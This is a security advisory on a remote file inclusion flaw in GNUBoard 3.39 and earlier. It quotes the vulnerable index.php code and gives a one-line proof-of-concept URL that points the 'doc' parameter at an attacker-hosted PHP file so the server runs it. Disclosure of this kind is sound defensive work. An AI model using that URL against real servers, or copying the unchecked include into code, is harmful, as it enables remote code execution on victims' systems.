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GNUBoard PHP Injection Vulnerability
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SUMMARY
GNUBoard is "one of widely used web BBS applications in Korea. Because of
an input validation flaw, a malicious attack can run arbitrary commands
with the privilege of the HTTPD process, which is typically run as the
nobody user".
A vulnerability in GNUBoard allows a remote attacker to cause the program
to include arbitrary files.
DETAILS
Vulnerable Systems:
* GNUBoard version 3.39 and prior
Immune Systems:
* GNUBoard version 3.40
Due to improper verification of input value of the parameter, the "doc"
parameter in "index.php" can be exploited to include arbitrary files of
external or local resources to execute arbitary commands.
Vulnerable code:
In the file index.php, the following code can be seen:
if (!$doc) { (1) <-- check point
$doc = './main.php';
}
// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) ||
count($tmp)<=1)
{
echo "php php3 htm html phtml ??? ??? ? ????.";
exit;
}
.....
ob_start();
include $doc; (2) <-- include point
Proof of concept:
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php
ADDITIONAL INFORMATION
The information has been provided by <mailto:advisory@stgsecurity.com>
STG Security Advisory.
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